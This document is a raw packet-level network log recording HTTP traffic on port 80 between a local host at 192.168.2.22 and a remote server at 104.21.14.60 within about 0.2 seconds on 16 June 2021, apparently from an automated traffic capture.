Jun 16, 2021 12:04:57.394762993 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394768000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394792080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394805908 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394812107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394830942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394849062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394850016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394866943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394886971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395606995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395636082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395653009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395675898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395689964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395699024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395715952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395718098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395736933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395756960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395757914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395776033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395795107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395812988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395836115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395854950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395873070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395884037 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395891905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395895958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.395910978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.395931005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396518946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396538019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396555901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396574020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396585941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396591902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396600962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396609068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396625042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396629095 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396641016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396661997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396663904 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396678925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396696091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396697044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396712065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396728039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396732092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396744967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396761894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396771908 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.396778107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.396799088 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.397258997 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.397454977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397727966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397748947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397766113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397780895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397793055 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.397797108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397808075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.397814035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397831917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397839069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.397846937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.397911072 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.400515079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.422667027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.532995939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533057928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533087969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533112049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533133984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533157110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533183098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533205986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533226013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533237934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533251047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533268929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533271074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533281088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533302069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533319950 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533324003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533328056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533333063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533343077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533371925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533385038 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533422947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533482075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533509970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533533096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533557892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533562899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533581972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533606052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533618927 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533629894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533653975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533659935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533670902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533729076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533770084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.533900023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533947945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533973932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.533998013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534017086 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534038067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534074068 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534075975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534104109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534132957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534138918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534161091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534184933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534200907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534210920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534239054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534252882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534265041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534291029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534303904 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534317970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534344912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534353971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534418106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.534917116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534950972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.534976959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535001993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535017967 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535022020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535043955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535070896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535089016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535105944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535151958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535162926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535182953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535195112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535207987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535223961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535237074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535248995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535351992 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535407066 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535414934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535420895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535856962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535887003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535906076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535922050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535938978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535952091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535955906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535973072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.535980940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.535993099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536010981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536029100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536035061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536046982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536065102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536081076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536082983 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536093950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536097050 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536113024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536124945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536132097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536155939 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536815882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536879063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536911964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536937952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536963940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.536969900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.536987066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537012100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537024021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537036896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537060976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537072897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537084103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537106991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537118912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537133932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537157059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537159920 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537178993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537200928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537211895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537220001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537235975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537256002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537272930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537796021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537808895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537839890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537861109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537880898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537900925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537905931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537923098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537930965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537945986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537965059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.537980080 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.537987947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538011074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538022995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.538033009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538054943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538075924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538081884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.538096905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538110018 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.538117886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538139105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538150072 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.538187981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.538907051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538928032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538943052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538964033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.538985014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539005995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539011955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539027929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539041042 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539047003 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539052010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539076090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539097071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539110899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539144039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539151907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539166927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539185047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539201021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539218903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539222002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539237022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539241076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539294958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539793968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539825916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539848089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539870024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539885998 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539890051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539907932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539927006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539943933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539959908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539977074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539980888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.539993048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.539997101 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540004969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540009975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540020943 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540029049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540046930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540057898 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540066957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540086031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540127039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540139914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540721893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540747881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540766001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540781975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540802002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540805101 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540821075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540836096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540841103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540858984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540877104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540874958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540894032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540911913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540914059 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540927887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540942907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540949106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540968895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.540982962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.540986061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541007042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541022062 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541055918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541557074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541652918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541733027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541759968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541788101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541796923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541815996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541840076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541846037 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541865110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541889906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541901112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541922092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541945934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541954041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.541970968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.541997910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.542001009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.542022943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.542045116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.542052031 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.542069912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.542094946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.542102098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.542160988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.545378923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.548352957 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.576958895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.576992989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577006102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577018976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577034950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577047110 CEST	80	49167	104.21.14.60	192.168.2.22
